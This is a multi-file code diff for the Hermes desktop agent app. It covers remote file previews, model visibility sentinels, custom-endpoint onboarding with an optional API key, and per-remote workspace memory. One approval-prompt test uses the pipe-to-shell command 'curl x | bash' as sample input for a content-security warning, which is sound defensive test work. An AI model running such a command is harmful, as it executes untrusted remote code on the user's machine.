||||
|
||||
export async function selectDesktopPaths(options?: HermesSelectPathsOptions): Promise<string[]> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.selectPaths(options)
|
||||
}
|
||||
if (!options?.directories || options.multiple !== false) {
|
||||
return []
|
||||
}
|
||||
return remotePicker ? remotePicker.selectPaths(options) : []
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
import { isDesktopFsRemoteMode, readDesktopFileText } from '@/lib/desktop-fs'
|
||||
import type { PreviewTarget } from '@/store/preview'
|
||||
|
||||
const HTML_EXTENSIONS = new Set(['.htm', '.html'])
|
||||
@@ -107,6 +108,26 @@ export function localPreviewTarget(rawTarget: string, cwd?: string | null): Prev
|
||||
}
|
||||
}
|
||||
|
||||
async function enrichPreviewTarget(target: PreviewTarget | null): Promise<PreviewTarget | null> {
|
||||
if (!isDesktopFsRemoteMode() || !target || target.kind !== 'file' || target.previewKind === 'image') {
|
||||
return target
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await readDesktopFileText(target.path || target.source)
|
||||
return {
|
||||
...target,
|
||||
binary: result.binary,
|
||||
byteSize: result.byteSize,
|
||||
language: result.language || target.language,
|
||||
large: (result.byteSize ?? 0) > 512 * 1024,
|
||||
mimeType: result.mimeType
|
||||
}
|
||||
} catch {
|
||||
return target
|
||||
}
|
||||
}
|
||||
|
||||
export async function normalizeOrLocalPreviewTarget(
|
||||
rawTarget: string,
|
||||
cwd?: string | null
|
||||
@@ -115,12 +136,12 @@ export async function normalizeOrLocalPreviewTarget(
|
||||
const normalized = await window.hermesDesktop?.normalizePreviewTarget?.(rawTarget, cwd || undefined)
|
||||
|
||||
if (normalized) {
|
||||
return normalized
|
||||
return enrichPreviewTarget(normalized)
|
||||
}
|
||||
} catch {
|
||||
// Running Electron may still have the old HTML-only preview IPC. Fall
|
||||
// through to renderer-side local classification so text/images still open.
|
||||
}
|
||||
|
||||
return localPreviewTarget(rawTarget, cwd)
|
||||
return enrichPreviewTarget(localPreviewTarget(rawTarget, cwd))
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import { notify, notifyError } from '@/store/notifications'
|
||||
|
||||
interface ExportSessionParams {
|
||||
sessionId: string
|
||||
profile?: string | null
|
||||
title?: string | null
|
||||
session?: SessionInfo
|
||||
}
|
||||
@@ -31,7 +32,8 @@ export async function exportSession(sessionId: string, params: Omit<ExportSessio
|
||||
}
|
||||
|
||||
try {
|
||||
const { messages } = await getSessionMessages(sessionId)
|
||||
const profile = params.profile ?? params.session?.profile
|
||||
const { messages } = await getSessionMessages(sessionId, profile)
|
||||
|
||||
const payload = {
|
||||
exported_at: new Date().toISOString(),
|
||||
|
||||
@@ -2,7 +2,12 @@ import { describe, expect, it } from 'vitest'
|
||||
|
||||
import type { ModelOptionProvider } from '@/types/hermes'
|
||||
|
||||
import { effectiveVisibleKeys, modelVisibilityKey } from './model-visibility'
|
||||
import {
|
||||
effectiveVisibleKeys,
|
||||
emptyProviderSentinelKey,
|
||||
isProviderSentinel,
|
||||
modelVisibilityKey
|
||||
} from './model-visibility'
|
||||
|
||||
const provider = (slug: string, models: string[]): ModelOptionProvider => ({
|
||||
models,
|
||||
@@ -34,4 +39,48 @@ describe('model visibility', () => {
|
||||
expect(visible.has(modelVisibilityKey('local-ollama', 'qwen3:latest'))).toBe(true)
|
||||
expect(visible.has(modelVisibilityKey('local-ollama', 'llama3.2:latest'))).toBe(false)
|
||||
})
|
||||
|
||||
it('preserves hidden-provider sentinel without re-adding defaults', () => {
|
||||
// User explicitly hid all models for "nous" — sentinel marks this choice.
|
||||
const stored = new Set([emptyProviderSentinelKey('nous')])
|
||||
|
||||
const visible = effectiveVisibleKeys(stored, [
|
||||
provider('nous', ['hermes-3-llama-3.1-70b', 'hermes-3-llama-3.1-8b']),
|
||||
provider('ollama', ['qwen3:latest'])
|
||||
])
|
||||
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))).toBe(false)
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-8b'))).toBe(false)
|
||||
// Sentinel itself is stripped from the result.
|
||||
expect(visible.has(emptyProviderSentinelKey('nous'))).toBe(false)
|
||||
// Other providers still get defaults.
|
||||
expect(visible.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
|
||||
})
|
||||
|
||||
it('restores model when toggling on after hiding all', () => {
|
||||
// Simulates: user hid all "nous" models, then toggles one back on.
|
||||
const stored = new Set([
|
||||
emptyProviderSentinelKey('nous'),
|
||||
modelVisibilityKey('ollama', 'qwen3:latest')
|
||||
])
|
||||
|
||||
// After toggle: sentinel removed, one model added.
|
||||
const afterToggle = new Set(stored)
|
||||
afterToggle.delete(emptyProviderSentinelKey('nous'))
|
||||
afterToggle.add(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))
|
||||
|
||||
const visible = effectiveVisibleKeys(afterToggle, [
|
||||
provider('nous', ['hermes-3-llama-3.1-70b', 'hermes-3-llama-3.1-8b']),
|
||||
provider('ollama', ['qwen3:latest'])
|
||||
])
|
||||
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))).toBe(true)
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-8b'))).toBe(false)
|
||||
})
|
||||
|
||||
it('sentinel key helper produces correct format', () => {
|
||||
expect(emptyProviderSentinelKey('openai')).toBe('openai::')
|
||||
expect(isProviderSentinel('openai::')).toBe(true)
|
||||
expect(isProviderSentinel('openai::gpt-4o')).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -13,6 +13,19 @@ export const DEFAULT_VISIBLE_PER_PROVIDER = 50
|
||||
* that contain a single colon, e.g. `model:tag`). */
|
||||
export const modelVisibilityKey = (provider: string, model: string): string => `${provider}::${model}`
|
||||
|
||||
/** Sentinel key suffix stored when the user explicitly hides ALL models for a
|
||||
* provider. Distinguishes "user hid everything" from "never customized" so
|
||||
* `effectiveVisibleKeys` does not re-add defaults for that provider. */
|
||||
export const EMPTY_PROVIDER_SENTINEL = ''
|
||||
|
||||
/** Build the sentinel key for a provider whose last model was toggled off. */
|
||||
export const emptyProviderSentinelKey = (provider: string): string =>
|
||||
modelVisibilityKey(provider, EMPTY_PROVIDER_SENTINEL)
|
||||
|
||||
/** Check whether a stored key is a provider-hidden sentinel. */
|
||||
export const isProviderSentinel = (key: string): boolean =>
|
||||
key.endsWith('::')
|
||||
|
||||
/** A model and its optional `…-fast` sibling, collapsed into one logical row.
|
||||
* `id` is the canonical (base) model; `fastId` is the fast variant if present. */
|
||||
export interface ModelFamily {
|
||||
@@ -116,9 +129,12 @@ export function effectiveVisibleKeys(
|
||||
|
||||
for (const provider of providers) {
|
||||
const providerPrefix = `${provider.slug}::`
|
||||
const hasStoredProvider = [...stored].some(key => key.startsWith(providerPrefix))
|
||||
const hasStoredProvider = [...stored].some(
|
||||
key => key.startsWith(providerPrefix) && !isProviderSentinel(key)
|
||||
)
|
||||
const hasSentinel = stored.has(emptyProviderSentinelKey(provider.slug))
|
||||
|
||||
if (hasStoredProvider) {
|
||||
if (hasStoredProvider || hasSentinel) {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -129,5 +145,12 @@ export function effectiveVisibleKeys(
|
||||
}
|
||||
}
|
||||
|
||||
// Strip sentinel keys — they are bookkeeping, not real visibility entries.
|
||||
for (const key of [...next]) {
|
||||
if (isProviderSentinel(key)) {
|
||||
next.delete(key)
|
||||
}
|
||||
}
|
||||
|
||||
return next
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ function baseState(overrides: Partial<DesktopOnboardingState> = {}): DesktopOnbo
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false,
|
||||
localEndpoint: false,
|
||||
...overrides
|
||||
}
|
||||
}
|
||||
@@ -233,10 +234,12 @@ describe('OAuth onboarding', () => {
|
||||
const state = $desktopOnboarding.get()
|
||||
expect(state.reason).toBeNull()
|
||||
expect(state.flow.status).toBe('confirming_model')
|
||||
|
||||
if (state.flow.status === 'confirming_model') {
|
||||
expect(state.flow.label).toBe('Nous Portal')
|
||||
expect(state.flow.currentModel).toBe(model)
|
||||
}
|
||||
|
||||
expect(calls.some(c => c.path === '/api/model/set')).toBe(true)
|
||||
})
|
||||
})
|
||||
@@ -283,7 +286,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
@@ -313,7 +316,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
installApiMock(api)
|
||||
const onCompleted = vi.fn()
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
onCompleted,
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
@@ -332,6 +335,46 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
expect($desktopOnboarding.get().configured).toBe(true)
|
||||
})
|
||||
|
||||
it('forwards the API key to the probe and persists it for auth-gated endpoints', async () => {
|
||||
const calls: { body?: unknown; path: string }[] = []
|
||||
|
||||
const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
|
||||
calls.push({ body, path })
|
||||
|
||||
if (path === '/api/providers/validate') {
|
||||
return { ok: true, reachable: true, message: '', models: ['gpt-oss-120b'] }
|
||||
}
|
||||
|
||||
if (path === '/api/model/set') {
|
||||
return { ok: true, provider: 'custom', model: 'gpt-oss-120b', base_url: 'https://text.example.com/v1' }
|
||||
}
|
||||
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
installApiMock(api)
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('https://text.example.com/v1', 'sk-secret', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
expect(result.ok).toBe(true)
|
||||
|
||||
// The probe must receive the key so an auth-gated /v1/models enumerates.
|
||||
const probe = calls.find(c => c.path === '/api/providers/validate')
|
||||
expect(probe?.body).toMatchObject({ key: 'OPENAI_BASE_URL', value: 'https://text.example.com/v1', api_key: 'sk-secret' })
|
||||
|
||||
// And the key must be persisted alongside the endpoint for runtime auth.
|
||||
const assign = calls.find(c => c.path === '/api/model/set')
|
||||
expect(assign?.body).toMatchObject({
|
||||
scope: 'main',
|
||||
provider: 'custom',
|
||||
model: 'gpt-oss-120b',
|
||||
base_url: 'https://text.example.com/v1',
|
||||
api_key: 'sk-secret'
|
||||
})
|
||||
})
|
||||
|
||||
it('reports the runtime reason when resolution still fails after saving', async () => {
|
||||
installApiMock(async ({ path }: { path: string }) => {
|
||||
if (path === '/api/providers/validate') {
|
||||
@@ -361,7 +404,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected gateway method: ${method}`)
|
||||
}
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: failingGateway
|
||||
})
|
||||
|
||||
|
||||
@@ -72,6 +72,11 @@ export interface DesktopOnboardingState {
|
||||
* picker's "Add provider" button). Forces the overlay to show the picker
|
||||
* even when configured === true, and adds a close affordance. */
|
||||
manual: boolean
|
||||
/** True when the overlay was opened specifically to configure a local /
|
||||
* custom OpenAI-compatible endpoint (e.g. from Settings → Model's "Set up
|
||||
* custom endpoint"). Forces the API-key form with the local option
|
||||
* preselected instead of the OAuth picker. */
|
||||
localEndpoint: boolean
|
||||
}
|
||||
|
||||
export interface OnboardingContext {
|
||||
@@ -150,7 +155,8 @@ const INITIAL: DesktopOnboardingState = {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: readCachedSkipped(),
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
}
|
||||
|
||||
export const $desktopOnboarding = atom<DesktopOnboardingState>(INITIAL)
|
||||
@@ -392,6 +398,7 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: false,
|
||||
// `null` opts out of the prompt banner entirely (e.g. when the user already
|
||||
// picked a specific provider and we auto-start its sign-in).
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
@@ -400,6 +407,24 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
void refreshProviders()
|
||||
}
|
||||
|
||||
// Open the onboarding overlay directly on the local / custom endpoint form
|
||||
// (URL + optional API key), bypassing the OAuth picker. Used by Settings →
|
||||
// Model's "Set up custom endpoint" so it lands on a form that can actually
|
||||
// configure the endpoint instead of dead-ending on the OAuth provider list
|
||||
// (`custom` is not an OAuth provider, so the generic manual flow would just
|
||||
// re-show the picker — the original "booted back to the first screen" loop).
|
||||
export function startManualLocalEndpoint(reason: null | string = null) {
|
||||
pendingProviderOAuthId = null
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: true,
|
||||
mode: 'apikey',
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
flow: { status: 'idle' }
|
||||
})
|
||||
}
|
||||
|
||||
// One-shot hand-off used when the dedicated Providers settings page launches a
|
||||
// specific provider's sign-in: we open the manual onboarding overlay AND
|
||||
// remember which provider to start, so the overlay drives that exact OAuth
|
||||
@@ -431,7 +456,7 @@ export function clearPendingProviderOAuth() {
|
||||
export function closeManualOnboarding() {
|
||||
pendingProviderOAuthId = null
|
||||
|
||||
patch({ manual: false, requested: false, flow: { status: 'idle' } })
|
||||
patch({ manual: false, requested: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function completeDesktopOnboarding() {
|
||||
@@ -448,7 +473,8 @@ export function completeDesktopOnboarding() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
@@ -461,7 +487,7 @@ export function completeDesktopOnboarding() {
|
||||
export function dismissFirstRunOnboarding() {
|
||||
clearPoll()
|
||||
writeCachedSkipped(true)
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, flow: { status: 'idle' } })
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function setOnboardingMode(mode: OnboardingMode) {
|
||||
@@ -701,18 +727,28 @@ export async function recheckExternalSignin(ctx: OnboardingContext) {
|
||||
)
|
||||
}
|
||||
|
||||
export async function saveOnboardingApiKey(envKey: string, value: string, label: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingApiKey(
|
||||
envKey: string,
|
||||
value: string,
|
||||
label: string,
|
||||
ctx: OnboardingContext,
|
||||
// Optional endpoint key — only meaningful for the "Local / custom endpoint"
|
||||
// option, whose primary `value` is the base URL. Ignored for plain API-key
|
||||
// providers (their key IS `value`).
|
||||
endpointApiKey?: string
|
||||
) {
|
||||
const trimmed = value.trim()
|
||||
|
||||
if (!trimmed) {
|
||||
return { ok: false, message: 'Enter a value first.' }
|
||||
}
|
||||
|
||||
// The "Local / custom endpoint" option carries a base URL, not an API key.
|
||||
// It must be wired into config (provider=custom + base_url + model), not
|
||||
// dropped into .env — runtime resolution ignores OPENAI_BASE_URL.
|
||||
// The "Local / custom endpoint" option carries a base URL (in `value`) plus
|
||||
// an optional API key. It must be wired into config (provider=custom +
|
||||
// base_url + model + api_key), not dropped into .env — runtime resolution
|
||||
// ignores OPENAI_BASE_URL.
|
||||
if (envKey === 'OPENAI_BASE_URL') {
|
||||
return saveOnboardingLocalEndpoint(trimmed, ctx)
|
||||
return saveOnboardingLocalEndpoint(trimmed, endpointApiKey?.trim() ?? '', ctx)
|
||||
}
|
||||
|
||||
// No key validation here on purpose: we previously live-probed the key and
|
||||
@@ -748,14 +784,17 @@ export async function saveOnboardingApiKey(envKey: string, value: string, label:
|
||||
// env var that resolution never consults.
|
||||
//
|
||||
// The model is auto-discovered from the endpoint's /v1/models (surfaced by the
|
||||
// validate probe) so the user only has to paste a URL — no extra UI field.
|
||||
// validate probe). The optional API key is forwarded to the probe (so hosted
|
||||
// endpoints that gate /v1/models behind auth still enumerate models) and
|
||||
// persisted to model.api_key so the runtime can authenticate.
|
||||
//
|
||||
// We deliberately don't route through completeWithModelConfirm: that path
|
||||
// re-assigns the model from /api/model/options WITHOUT a base_url, which would
|
||||
// wipe the base_url we just wrote. We have a concrete model already, so we
|
||||
// verify the runtime directly and finish.
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, apiKey: string, ctx: OnboardingContext) {
|
||||
const url = baseUrl.trim()
|
||||
const key = apiKey.trim()
|
||||
|
||||
if (!url) {
|
||||
return { ok: false, message: 'Enter the endpoint URL first.' }
|
||||
@@ -767,7 +806,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
let model = ''
|
||||
|
||||
try {
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url)
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url, key)
|
||||
|
||||
if (!probe.ok && probe.reachable) {
|
||||
return { ok: false, message: probe.message || 'Could not reach that endpoint.' }
|
||||
@@ -790,7 +829,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
}
|
||||
|
||||
try {
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url })
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url, api_key: key })
|
||||
await ctx.requestGateway('reload.env').catch(() => undefined)
|
||||
|
||||
const runtime = await checkRuntime(ctx)
|
||||
|
||||
@@ -53,6 +53,12 @@ describe('approval prompt store', () => {
|
||||
|
||||
expect($approvalRequest.get()).toBeNull()
|
||||
})
|
||||
|
||||
it('carries allowPermanent so the bar can hide "Always allow"', () => {
|
||||
setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
|
||||
|
||||
expect($approvalRequest.get()?.allowPermanent).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('sudo prompt store', () => {
|
||||
|
||||
@@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
|
||||
// resolved via approval.respond {choice, session_id}). It carries no request_id,
|
||||
// unlike sudo/secret which are _block()-style request/response.
|
||||
export interface ApprovalRequest extends KeyedPrompt {
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
allowPermanent?: boolean
|
||||
command: string
|
||||
description: string
|
||||
}
|
||||
|
||||
@@ -5,12 +5,14 @@ import type { SessionInfo } from '@/types/hermes'
|
||||
import {
|
||||
$activeSessionId,
|
||||
$attentionSessionIds,
|
||||
$connection,
|
||||
$currentCwd,
|
||||
$workingSessionIds,
|
||||
applyConfiguredDefaultProjectDir,
|
||||
getRecentlySettledSessionIds,
|
||||
mergeSessionPage,
|
||||
sessionPinId,
|
||||
setCurrentCwd,
|
||||
setSessionAttention,
|
||||
setSessionWorking,
|
||||
workspaceCwdForNewSession
|
||||
@@ -184,9 +186,12 @@ describe('mergeSessionPage', () => {
|
||||
describe('workspaceCwdForNewSession', () => {
|
||||
afterEach(() => {
|
||||
applyConfiguredDefaultProjectDir(null)
|
||||
$connection.set(null)
|
||||
$currentCwd.set('')
|
||||
$activeSessionId.set(null)
|
||||
window.localStorage.removeItem('hermes.desktop.workspace-cwd')
|
||||
window.localStorage.removeItem('hermes.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-a.default')
|
||||
window.localStorage.removeItem('hermes.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-b.default')
|
||||
})
|
||||
|
||||
it('prefers the configured default over the sticky remembered workspace', () => {
|
||||
@@ -216,6 +221,26 @@ describe('workspaceCwdForNewSession', () => {
|
||||
expect($currentCwd.get()).toBe('/live/session/path')
|
||||
expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
|
||||
})
|
||||
|
||||
it('keeps remote workspace memory separate from local and other remotes', () => {
|
||||
window.localStorage.setItem('hermes.desktop.workspace-cwd', '/local/project')
|
||||
$currentCwd.set('/live/session/path')
|
||||
$connection.set({ baseUrl: 'http://backend-a', mode: 'remote' } as never)
|
||||
|
||||
expect(workspaceCwdForNewSession()).toBe('')
|
||||
|
||||
setCurrentCwd('/backend/project-a')
|
||||
expect(workspaceCwdForNewSession()).toBe('/backend/project-a')
|
||||
|
||||
$connection.set({ baseUrl: 'http://backend-b', mode: 'remote' } as never)
|
||||
expect(workspaceCwdForNewSession()).toBe('')
|
||||
|
||||
setCurrentCwd('/backend/project-b')
|
||||
expect(workspaceCwdForNewSession()).toBe('/backend/project-b')
|
||||
|
||||
$connection.set(null)
|
||||
expect(workspaceCwdForNewSession()).toBe('/local/project')
|
||||
})
|
||||
})
|
||||
|
||||
describe('getRecentlySettledSessionIds', () => {
|
||||
|
||||
@@ -10,13 +10,19 @@ type Updater<T> = T | ((current: T) => T)
|
||||
|
||||
const WORKSPACE_CWD_KEY = 'hermes.desktop.workspace-cwd'
|
||||
|
||||
// Cached copy of Settings → Sessions → Default project directory. The main
|
||||
// process persists this in project-dir.json, but the renderer must also honor it
|
||||
// when seeding $currentCwd — otherwise PR #37586's sticky localStorage home dir
|
||||
// wins and new sessions ignore the user's explicit picker choice.
|
||||
let configuredDefaultProjectDir = ''
|
||||
|
||||
export const getRememberedWorkspaceCwd = (): string => storedString(WORKSPACE_CWD_KEY)?.trim() || ''
|
||||
function workspaceCwdKey(connection: HermesConnection | null = $connection.get()): string {
|
||||
if (connection?.mode !== 'remote') {
|
||||
return WORKSPACE_CWD_KEY
|
||||
}
|
||||
|
||||
const base = encodeURIComponent(connection.baseUrl || 'remote')
|
||||
const profile = encodeURIComponent(connection.profile || 'default')
|
||||
return `${WORKSPACE_CWD_KEY}.remote.${base}.${profile}`
|
||||
}
|
||||
|
||||
export const getRememberedWorkspaceCwd = (): string => storedString(workspaceCwdKey())?.trim() || ''
|
||||
|
||||
export const getConfiguredDefaultProjectDir = (): string => configuredDefaultProjectDir
|
||||
|
||||
@@ -54,6 +60,13 @@ export async function ensureDefaultWorkspaceCwd(): Promise<void> {
|
||||
}
|
||||
}
|
||||
|
||||
const remembered = getRememberedWorkspaceCwd()
|
||||
|
||||
if ($connection.get()?.mode === 'remote') {
|
||||
seedLiveCwd(remembered)
|
||||
return
|
||||
}
|
||||
|
||||
if (configured) {
|
||||
const { cwd } = await sanitize(configured)
|
||||
seedLiveCwd(cwd)
|
||||
@@ -61,8 +74,10 @@ export async function ensureDefaultWorkspaceCwd(): Promise<void> {
|
||||
return
|
||||
}
|
||||
|
||||
const { cwd } = await sanitize(getRememberedWorkspaceCwd())
|
||||
seedLiveCwd(cwd)
|
||||
if (remembered) {
|
||||
const { cwd } = await sanitize(remembered)
|
||||
seedLiveCwd(cwd)
|
||||
}
|
||||
}
|
||||
|
||||
export function applyConfiguredDefaultProjectDir(dir: null | string | undefined): void {
|
||||
@@ -238,15 +253,16 @@ export const setYoloActive = (next: Updater<boolean>) => updateAtom($yoloActive,
|
||||
|
||||
export const setCurrentCwd = (next: Updater<string>) => {
|
||||
updateAtom($currentCwd, next)
|
||||
// Keep localStorage in sync with the atom: a real folder is remembered, an
|
||||
// empty cwd clears the key (|| null → removeItem).
|
||||
persistString(WORKSPACE_CWD_KEY, $currentCwd.get().trim() || null)
|
||||
persistString(workspaceCwdKey(), $currentCwd.get().trim() || null)
|
||||
}
|
||||
|
||||
/** Workspace for a brand-new chat. Explicit Settings override wins; otherwise
|
||||
* fall back to the sticky last-used folder, then whatever is already live. */
|
||||
export const workspaceCwdForNewSession = (): string =>
|
||||
getConfiguredDefaultProjectDir() || getRememberedWorkspaceCwd() || $currentCwd.get().trim()
|
||||
export const workspaceCwdForNewSession = (): string => {
|
||||
if ($connection.get()?.mode === 'remote') {
|
||||
return getRememberedWorkspaceCwd()
|
||||
}
|
||||
|
||||
return getConfiguredDefaultProjectDir() || getRememberedWorkspaceCwd() || $currentCwd.get().trim()
|
||||
}
|
||||
|
||||
export const setCurrentBranch = (next: Updater<string>) => updateAtom($currentBranch, next)
|
||||
export const setCurrentUsage = (next: Updater<UsageStats>) => updateAtom($currentUsage, next)
|
||||
|
||||
@@ -17,6 +17,30 @@
|
||||
src: url('../../../node_modules/@nous-research/ui/dist/fonts/Collapse-Bold.woff2') format('woff2');
|
||||
}
|
||||
|
||||
/* JetBrains Mono — bundled terminal font (Apache-2.0) so bold/italic share the
|
||||
regular face's metrics instead of squeezing against a system fallback. */
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Regular.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Bold.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: italic;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Italic.woff2') format('woff2');
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--color-background: var(--dt-background);
|
||||
--color-foreground: var(--dt-foreground);
|
||||
@@ -823,6 +847,37 @@ canvas {
|
||||
content's --message-text-indent). No extra prose indent — a single gutter
|
||||
reads cleaner than a ragged tool-vs-reply column. */
|
||||
|
||||
/* RTL/bidi chat text (#44150): each block resolves its own base direction from
|
||||
its first strong char (UAX#9 plaintext). text-align:start makes that resolved
|
||||
direction drive alignment too — load-bearing, since the user bubble pins
|
||||
text-left. direction is never set, so chrome/layout/list-indent stay LTR (the
|
||||
issue asks not to flip the whole UI). Covers assistant prose, user lines, and
|
||||
both composers (main + edit share composer-rich-input). */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(p, h1, h2, h3, h4, h5, h6, li, blockquote),
|
||||
[data-slot='aui_user-inline-text'],
|
||||
[data-slot='composer-rich-input'] {
|
||||
unicode-bidi: plaintext;
|
||||
text-align: start;
|
||||
}
|
||||
|
||||
/* Inline code/KaTeX don't vote on direction and keep their own order: isolate
|
||||
makes bidi treat each as one neutral, so a block that *starts* with `./run.sh`
|
||||
then Arabic still resolves RTL, and the command's neutrals (dots/slashes)
|
||||
aren't reordered by the surrounding RTL run. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(:not(pre) > code),
|
||||
[data-slot='aui_user-inline-code'],
|
||||
[data-slot='aui_assistant-message-content'] .aui-md .katex {
|
||||
direction: ltr;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
/* Fenced code stays LTR even inside an RTL list item/blockquote — never mirrors. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'],
|
||||
[data-slot='aui_user-fence'] {
|
||||
direction: ltr;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
[data-slot='aui_user-message-root'] {
|
||||
top: var(--sticky-human-top);
|
||||
}
|
||||
|
||||
@@ -638,6 +638,10 @@ export interface AuxiliaryModelsResponse {
|
||||
}
|
||||
|
||||
export interface ModelAssignmentRequest {
|
||||
/** Optional API key for a custom/local endpoint. Persisted to model.api_key
|
||||
* (where the runtime reads it) for self-hosted endpoints that require auth.
|
||||
* Only honored for custom/local providers on the main slot. */
|
||||
api_key?: string
|
||||
/** OpenAI-compatible endpoint URL. Only honored for custom/local providers
|
||||
* on the main slot — wires a self-hosted endpoint into runtime resolution. */
|
||||
base_url?: string
|
||||
|
||||
@@ -456,6 +456,9 @@ def load_cli_config() -> Dict[str, Any]:
|
||||
"busy_input_mode": "interrupt",
|
||||
"persistent_output": True,
|
||||
"persistent_output_max_lines": 200,
|
||||
# Print a one-line summary of resolved modal prompts (approval /
|
||||
# clarify) into scrollback so the decision survives the repaint.
|
||||
"persist_prompts": True,
|
||||
|
||||
"skin": "default",
|
||||
},
|
||||
@@ -3185,6 +3188,13 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self.bell_on_complete = CLI_CONFIG["display"].get("bell_on_complete", False)
|
||||
# show_reasoning: display model thinking/reasoning before the response
|
||||
self.show_reasoning = CLI_CONFIG["display"].get("show_reasoning", False)
|
||||
# Live web_extract summarization box (reasoning-style). Registered
|
||||
# process-wide; no-op for runs that never summarize a web page.
|
||||
try:
|
||||
from tools.summary_display import set_summary_stream_callback
|
||||
set_summary_stream_callback(self._on_summary_stream)
|
||||
except Exception:
|
||||
logger.debug("Failed to register summary stream callback", exc_info=True)
|
||||
_configure_output_history(
|
||||
enabled=CLI_CONFIG["display"].get("persistent_output", True),
|
||||
max_lines=CLI_CONFIG["display"].get("persistent_output_max_lines", 200),
|
||||
@@ -3504,6 +3514,10 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
# the next submitted input, whether it's the selection or anything
|
||||
# else). See #34584.
|
||||
self._pending_resume_sessions = None
|
||||
